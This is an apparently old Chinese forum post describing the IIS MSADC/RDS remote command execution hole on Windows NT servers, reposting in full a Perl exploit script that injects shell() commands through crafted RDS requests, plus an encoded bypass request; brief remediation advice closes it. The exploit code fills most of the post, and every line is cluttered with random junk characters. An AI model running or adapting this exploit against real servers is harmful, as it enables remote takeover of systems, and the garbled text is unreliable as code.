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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *!QmYH5r0  
f"Sp.'@  
涉及程序: 0#V"   
Microsoft NT server be+-p  
6#z8 %k aX  
描述: E !kN h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 '2^}de!E  
01.q9AGy  
详细: GfONm6A  
如果你没有时间读详细内容的话,就删除: L3eF BF/  
c:\Program Files\Common Files\System\Msadc\msadcs.dll $kUB%\`  
有关的安全问题就没有了。 P(aBJ*((~  
)tlj{ 7p  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。  2E*=EjGV  
gj^)T_E_  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 F_@B ` ,  
关于利用ODBC远程漏洞的描述,请参看: e{x>u(  
nCYz ];".  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =xk>yw!O)  
FGVw=G{r  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G&oD;NY@/  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m` 1dB%;?  
z^9oaoTl  
这里不再论述。 o/-RGLzAo  
8m0*89HEu  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: j2G^sj"|  
/\1'.GR  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =M1}HF,7>l  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Xt$qjtVM  
6wp1jN  
}3lG'Y#Kpy  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Uh/=HNR  
1>*oN  
#!perl bF _]j/  
# ^Gk)aX  
# MSADC/RDS 'usage' (aka exploit) script F_079~bJ  
# o*K7(yUL4  
# by rain.forest.puppy 0>Y3xNb  
# DuC#tDP  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me K~:SLCv E%  
# beta test and find errors! 4)iP%%JH  
`l45T~`]$  
use Socket; use Getopt::Std; c/ Pql!h+  
getopts("e:vd:h:XR", \%args); [8'?G5/n  
-mO#HZIq  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; d/  Lz"  
kqB# 9  
if (!defined $args{h} && !defined $args{R}) { V Rv4p5  
print qq~ uO4 LD}A  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3eY>LWx  
-h <host> = host you want to scan (ip or domain) 'xS@cF o(  
-d <seconds> = delay between calls, default 1 second .>W [  
-X = dump Index Server path table, if available R+!U.:-yz  
-v = verbose zY/Oh9`=v  
-e = external dictionary file for step 5 xd{.\!q.  
i ;B^I8  
Or a -R will resume a command session 5WI bnV@  
f r~Eb'8  
~; exit;} O _9r-Zt^  
xoVd[c!   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; \PS]c9@,rc  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} c#x~x  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <lzC|>BG  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); OV{v6,>O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :2j`NyLI.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 82FEl~,^E  
3w^W6hN)  
if (!defined $args{R}){ $ret = &has_msadc; QPm[4Fd{G  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} (rFkXK4^J  
2S_u/32]W  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 4A+g-{d  
. "cmd /c "; FWu:5fBZY  
$in=<STDIN>; chomp $in; Sfe[z=7S  
$command="cmd /c " . $in ; $7YZ;=~B  
P[fy  
if (defined $args{R}) {&load; exit;} +E. D:  
bIm4s  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 4L>8RiiQE;  
&try_btcustmr; kk5&lak2V  
}"+"nf5h  
print "\nStep 2: Trying to make our own DSN..."; h GA2.{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; G^{~'TZv%  
"d<uc j  
print "\nStep 3: Trying known DSNs..."; (A=PDjP!  
&known_dsn; 9Qszr=C0  
|ufT)+:  
print "\nStep 4: Trying known .mdbs..."; >V8!OaY5n  
&known_mdb; -aBhN~  
mh4 VQ9  
if (defined $args{e}){  dF `7]  
print "\nStep 5: Trying dictionary of DSN names..."; ,q%X`F rc  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0WzoI2Q  
8b0j rt  
print "Sorry Charley...maybe next time?\n"; L:C/PnIV  
exit; d"5_x]Z;  
 IZrcn  
############################################################################## Ch{6=k bK  
Lu^uY7 ?}  
sub sendraw { # ripped and modded from whisker <k[_AlCmsg  
sleep($delay); # it's a DoS on the server! At least on mine... u$tst_y-  
my ($pstr)=@_; 2XL^A[?   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e!0xh  
die("Socket problems\n"); 2MB>NM<xO  
if(connect(S,pack "SnA4x8",2,80,$target)){ ajkV"~w',|  
select(S); $|=1; (}F@0WYT^O  
print $pstr; my @in=<S>; G\tN(%.f  
select(STDOUT); close(S); Pz*BuL <  
return @in; >!Gq[i0  
} else { die("Can't connect...\n"); }} gGE{r}$  
kYCm5g3u  
############################################################################## V=fu[#<@Ig  
%@%rdrZ  
sub make_header { # make the HTTP request @|;[ ;:h@  
my $msadc=<<EOT +o3n%( ^~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ]*]*O|w  
User-Agent: ACTIVEDATA _3W .:  
Host: $ip ?1g`'q@T%  
Content-Length: $clen o#"yFP1  
Connection: Keep-Alive +s_a{iMVP  
Ng<ic  
ADCClientVersion:01.06 o_\vudXK  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 =oXlJ[)h  
:$VGqvO12W  
--!ADM!ROX!YOUR!WORLD! )J]NBE:8  
Content-Type: application/x-varg `hY%HzV=  
Content-Length: $reqlen B (eXWWT_  
X*#\JF4$i  
EOT !0^4D=dO  
; $msadc=~s/\n/\r\n/g; el<Gd.p.d  
return $msadc;} 1\Bh-tzB  
auIW>0?}  
############################################################################## 5Bq;Vb  
d$ o m\@  
sub make_req { # make the RDS request _!|$i  
my ($switch, $p1, $p2)=@_; KUPQ6v }  
my $req=""; my $t1, $t2, $query, $dsn; |H=5Am  
n[y=DdiKGS  
if ($switch==1){ # this is the btcustmr.mdb query .+Q1h61$T  
$query="Select * from Customers where City=" . make_shell(); Q,9KLi3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . D*46,>Tv  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} k~;~i)Eg  
Tq* <J~-  
elsif ($switch==2){ # this is general make table query JoB-&r}\V*  
$query="create table AZZ (B int, C varchar(10))"; | #a{1Z)  
$dsn="$p1";} 9'Z{uHi%  
!M}-N  
elsif ($switch==3){ # this is general exploit table query _`C|K>:  
$query="select * from AZZ where C=" . make_shell(); 3\{acm  
$dsn="$p1";} K HNU=k  
rp @%0/[  
elsif ($switch==4){ # attempt to hork file info from index server sMAH;'`!Eu  
$query="select path from scope()"; &Odrq#o?R  
$dsn="Provider=MSIDXS;";} T__@hfT  
{|%^'lS  
elsif ($switch==5){ # bad query Y: C qQ  
$query="select"; o;9H~E  
$dsn="$p1";} 6}@T^?  
UCmJQJc  
$t1= make_unicode($query); .FYRi_Zd  
$t2= make_unicode($dsn); h+d k2|a  
$req = "\x02\x00\x03\x00"; q~18JB4WPJ  
$req.= "\x08\x00" . pack ("S1", length($t1)); s,C>l_4-  
$req.= "\x00\x00" . $t1 ; >yenuqIKQv  
$req.= "\x08\x00" . pack ("S1", length($t2)); #mioT",bm=  
$req.= "\x00\x00" . $t2 ; H9_>a-> )~  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; L kafB2y  
return $req;} IN;!s#cl:  
UC`sq-n  
############################################################################## CXu$0DQ(  
,: z]15fX  
sub make_shell { # this makes the shell() statement Grw[h  
return "'|shell(\"$command\")|'";} 2fayQY xD  
%26HB w=JF  
############################################################################## <b4} B   
_;x`6LM  
sub make_unicode { # quick little function to convert to unicode aFnyhu&W'  
my ($in)=@_; my $out; ~6u|@pnI  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cWQ &zc  
return $out;} O d6'bO;G  
taVK&ohWx  
############################################################################## (0_]=r=q  
jA@ uV,w  
sub rdo_success { # checks for RDO return success (this is kludge) MD;,O3Ge  
my (@in) = @_; my $base=content_start(@in); &H,UWtU+  
if($in[$base]=~/multipart\/mixed/){ mWoN\Rwj  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} )abH//Pps.  
return 0;} lZ"C~B}9:I  
va(6?"9  
############################################################################## $^e_4]k  
p&xj7qwp@F  
sub make_dsn { # this makes a DSN for us "FE%k>aV@v  
my @drives=("c","d","e","f"); f/kYm\Zc  
print "\nMaking DSN: "; vPZ0?r_5W  
foreach $drive (@drives) { 7k#>$sY+  
print "$drive: "; >_\]c-~<  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . lS2 `#l>  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" `Lw Z(M-hI  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %0u5d$bq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bLg gh]Fh  
return 0 if $2 eq "404"; # not found/doesn't exist 8;UkZN"hy5  
if($2 eq "200") { <X5V]f  
foreach $line (@results) { _s=<Y^l%x  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} /K,@{__JP  
} return 0;} q`|E9  
su60j^e*  
############################################################################## EcR[b@YI  
;8]Hw a1!  
sub verify_exists { vl`St$$|  
my ($page)=@_; ]RVme^=  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *= %`f=  
return $results[0];} /byF:iYI  
bL:+(/:  
############################################################################## ldKLTO*&  
)C$Ij9<A  
sub try_btcustmr { Py9:(fdS  
my @drives=("c","d","e","f"); m KKa0"  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -&y&b-  
UBuG12U4Y  
foreach $dir (@dirs) { <qoPBm])  
print "$dir -> "; # fun status so you can see progress c!$~_?]  
foreach $drive (@drives) { Q."rE"}<  
print "$drive: "; # ditto FGo)] U  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; >^f]Lgp  
$reqlenlen=length( "$reqlen" ); /PBK:B  
$clen= 206 + $reqlenlen + $reqlen; a5]]AkvA  
Ko0T[TNkh  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Ej@N}r>X  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} t/]za4w/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Z 2uU'T  
fhHTp_u)2  
############################################################################## P6'0:M@5  
~4S6c=:  
sub odbc_error { o:%;AOcl  
my (@in)=@_; my $base; Kna@K$6{w=  
my $base = content_start(@in); rG B*a8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .KYDYdoS'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y+.(E-g  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :bP <H  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SwH#=hg  
return $in[$base+4].$in[$base+5].$in[$base+6];} k a8=`cn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; >BMtR0  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !uKuO  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} :r_/mzR#  
]V"B`ip[2  
############################################################################## U`4t4CHA  
Bo*Wm w  
sub verbose { w 3L+7V,!  
my ($in)=@_; $yZP"AsAR  
return if !$verbose; QSo48OFs  
print STDOUT "\n$in\n";} [!#;QQ&M  
ehX4[j6  
############################################################################## KXo[;Db)k  
4d-"kx3X  
sub save { 6A} 45  
my ($p1, $p2, $p3, $p4)=@_; BLo=@C%w5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; "L)?dlb6T  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; W$R@Klz  
close OUT;} {f>e~o  
Ys%d  
############################################################################## x1`Jlzrp,  
Wc/B_F?2  
sub load { Dd,]Y}P  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C:}"?tri  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .18MMzdN  
@p=<IN>; close(IN); 38RyUHL=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Or()AzwE@  
$target= inet_aton($ip) || die("inet_aton problems"); 0^MRPE|f5  
print "Resuming to $ip ..."; M`G#cEc  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; &Mh]s\  
if($p[1]==1) { 2CPh'7|l  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; T "t%>g  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k'd=|U;(FV  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); T!H }^v  
if (rdo_success(@results)){print "Success!\n";} v$|cF'yyF=  
else { print "failed\n"; verbose(odbc_error(@results));}} F)tcQO"G  
elsif ($p[1]==3){ O/f+B}W  
if(run_query("$p[3]")){ Ar$ Am  
print "Success!\n";} else { print "failed\n"; }} y-:d`>b>\  
elsif ($p[1]==4){ >uz3 O?z P  
if(run_query($drvst . "$p[3]")){ X gA( D  
print "Success!\n"; } else { print "failed\n"; }} l9$"zEC  
exit;} [Kanj/  
Y{dj~}mM+  
############################################################################## )!D,;,aQ  
#Bas+8 @,  
sub create_table { ;[j)g,7{  
my ($in)=@_; , *Z!Bd8  
$reqlen=length( make_req(2,$in,"") ) - 28; Dn.%+im-u  
$reqlenlen=length( "$reqlen" ); Y X{F$BM  
$clen= 206 + $reqlenlen + $reqlen; A!`Q[%$  
my @results=sendraw(make_header() . make_req(2,$in,"")); G+Zm  
return 1 if rdo_success(@results); 3gba~}c)  
my $temp= odbc_error(@results); verbose($temp); +C[%^G-:  
return 1 if $temp=~/Table 'AZZ' already exists/; O>2i)M-h9x  
return 0;} <SNu`,/I  
(yhnv Z  
############################################################################## Mvlqx J$  
oei2$uu  
sub known_dsn { 6t`cY  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 5+iXOs<   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", UJQGwTA W  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ;XGO@*V5T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); A]s|"Pav,  
^9?IS<N0]  
foreach $dSn (@dsns) { p#AQXIF0  
print "."; A>J,Bi  
next if (!is_access("DSN=$dSn")); I(:d8SF  
if(create_table("DSN=$dSn")){ *#CUZJN\  
print "$dSn successful\n"; 7 +kU8}  
if(run_query("DSN=$dSn")){ f5&K=4khn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { (K|7T{B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} t\\`#gc9~i  
|jTRIMj%,_  
############################################################################## : ]~G9]R`  
~myY-nEY  
sub is_access { xEqr3(  
my ($in)=@_; R"qxT.P(  
$reqlen=length( make_req(5,$in,"") ) - 28; E(Y}*.\]#s  
$reqlenlen=length( "$reqlen" ); XlU`jv+  
$clen= 206 + $reqlenlen + $reqlen; Z(a,$__  
my @results=sendraw(make_header() . make_req(5,$in,"")); 3g5 n>8-  
my $temp= odbc_error(@results); VPXUy=W  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); X< p KAO\  
return 0;} Y`!Zk$8  
Xg1QF^  
############################################################################## aO$I|!tl  
'@,M 'H{  
sub run_query { Ex}hk!  
my ($in)=@_; E4N{;'  
$reqlen=length( make_req(3,$in,"") ) - 28; Lk1e{! a  
$reqlenlen=length( "$reqlen" ); v_e3ZA:%  
$clen= 206 + $reqlenlen + $reqlen; c^EU &q{4  
my @results=sendraw(make_header() . make_req(3,$in,"")); F>s5<pKAX  
return 1 if rdo_success(@results); Fhk`qh'i  
my $temp= odbc_error(@results); verbose($temp); #hF(`oX}4K  
return 0;} oD&axNk  
 <]h?_)  
############################################################################## % *Lv  
k^*S3#"  
sub known_mdb { 58o'Q  
my @drives=("c","d","e","f","g"); jLv8K  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4S3uzy%  
my $dir, $drive, $mdb; tkKiuh?m  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; xy[aZr  
SK;c D>)  
# this is sparse, because I don't know of many o==:e  
my @sysmdbs=( "\\catroot\\icatalog.mdb", p5\B0G<m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Iju9#b6  
"\\system32\\certmdb.mdb", F!&$Z .  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :"I!$_E'  
yJ?S7+b  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", TnQ"c)ta  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |kh7F0';"  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", J>p6')Y6~  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;dZuO[4\  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", $ucA.9pJ  
"\\cfusion\\database\\cfexamples.mdb", M A  
"\\cfusion\\database\\cfsnippets.mdb", E]dmXH8A  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", z6;6 o!ej  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'nSo0cyQ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", B'8/`0^n5  
"\\cfusion\\database\\smpolicy.mdb", 5l4YYwd>v  
"\\cfusion\\database\cypress.mdb", 'CA{>\F$F+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", mL]a_S{H  
"\\website\\cgi-win\\dbsample.mdb", &Na,D7A:3I  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", r: M>/Z/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2nkymEPu  
); #these are just g}n-H4LI  
foreach $drive (@drives) { db`L0JB  
foreach $dir (@dirs){ XsbYWJdds  
foreach $mdb (@sysmdbs) { `A ^  
print "."; ME.a * v  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 6,a:s:$>}R  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; dh S7}n  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ xY>@GSO1  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; M2lvD&  
} else { print "Something's borked. Use verbose next time\n"; }}}}} G[$g-NU+  
Z|$M 9E  
foreach $drive (@drives) { x ?24oO  
foreach $mdb (@mdbs) { 1U6 z2i+y  
print "."; &hu>yH>j  
if(create_table($drv . $drive . $dir . $mdb)){ ~kFL[Asnaf  
print "\n" . $drive . $dir . $mdb . " successful\n"; !\5w<*p8  
if(run_query($drv . $drive . $dir . $mdb)){ liU8OXBl  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; &OsO _F  
} else { print "Something's borked. Use verbose next time\n"; }}}} O QGKH6q  
} y,s`[=CT  
h yK&)y?~  
############################################################################## f@Yo]FU  
,9Si 3vn  
sub hork_idx { D1R$s*{  
print "\nAttempting to dump Index Server tables...\n"; uN8RG_Mb  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; W.CbNou  
$reqlen=length( make_req(4,"","") ) - 28; dJ>~  
$reqlenlen=length( "$reqlen" ); 7!U^?0?/  
$clen= 206 + $reqlenlen + $reqlen; `i<omZ[aT  
my @results=sendraw2(make_header() . make_req(4,"","")); @|([b r|O  
if (rdo_success(@results)){ :T )R;E@  
my $max=@results; my $c; my %d; WT63ve  
for($c=19; $c<$max; $c++){ a(uZ}yS$  
$results[$c]=~s/\x00//g; V@rqC[on  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ->L>`<7(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; LR#BP}\b'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %%FzBbWAO  
$d{"$1$2"}="";}  D9h  
foreach $c (keys %d){ print "$c\n"; } yQ0:M/r;0  
} else {print "Index server doesn't seem to be installed.\n"; }}  G& m~W  
je8 5G`{DC  
############################################################################## ?k dan  
<.".,Na(J0  
sub dsn_dict { i93 6+[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); V:h7}T95  
while(<IN>){ O',Vce$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; L yH1tF  
next if (!is_access("DSN=$dSn")); Q$(Fm a4a  
if(create_table("DSN=$dSn")){ ZeLed[J^xJ  
print "$dSn successful\n"; ,49Z/P  
if(run_query("DSN=$dSn")){ bEm9hFvd  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8PR\a!"  
print "Something's borked. Use verbose next time\n";}}} 7@ \:l~{  
print "\n"; close(IN);} lHAWZyO  
^!fY~(=U4  
############################################################################## EKus0"|  
^B:;uyG]M  
sub sendraw2 { # ripped and modded from whisker VwOcWKD  
sleep($delay); # it's a DoS on the server! At least on mine... JED\"(d(  
my ($pstr)=@_; }i{A4f `  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TJCE6QG  
die("Socket problems\n"); 6n^@Ps  
if(connect(S,pack "SnA4x8",2,80,$target)){ RdBIbm  
print "Connected. Getting data"; P; h8  
open(OUT,">raw.out"); my @in; ?N^1v&Q  
select(S); $|=1; print $pstr; ?4^ 0xGyE  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} V503  
close(OUT); select(STDOUT); close(S); return @in; ;y_]w6|n  
} else { die("Can't connect...\n"); }} ~7an j.  
>x>/}`  
############################################################################## %=!] 1  
u'nQC*iJb  
sub content_start { # this will take in the server headers $,P:B%]  
my (@in)=@_; my $c; J$5Vjh'aM  
for ($c=1;$c<500;$c++) { =f!clhO  
if($in[$c] =~/^\x0d\x0a/){ YjH~8==  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 2+_a<5l~  
else { return $c+1; }}} ,l Y4WO  
return -1;} # it should never get here actually Xv3pKf-K  
 TJ1h[  
############################################################################## Wy%FF\D.Y  
>n^780S|  
sub funky { T*nP-b  
my (@in)=@_; my $error=odbc_error(@in); zz /4 ()u  
if($error=~/ADO could not find the specified provider/){ 3)yL#hXg)  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; xHMFYt+0$G  
exit;} | kP utB  
if($error=~/A Handler is required/){ u"4 B5D  
print "\nServer has custom handler filters (they most likely are patched)\n"; Evd|_W-  
exit;} cPv(VjS1;  
if($error=~/specified Handler has denied Access/){ axpZ`BUc  
print "\nServer has custom handler filters (they most likely are patched)\n"; )+R n[MMp  
exit;}} @S=9@3m{w;  
K`2(Q  
############################################################################## hJsP;y:@Lm  
w@<II-9L)<  
sub has_msadc { ]IEZ?+F,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "Kdn`zN{  
my $base=content_start(@results); ES?*w@x  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ?w+ V:D  
return 0;} _OC@J*4.  
BlQ X$s]  
######################## X8">DR&>Y  
u~aRFQ:  
Qz3Z_V4k9  
解决方案: aL%E#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |R1T;J<[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 MM_:2 ^P)  
U8AH,?]#  
拿出来充数 哈哈
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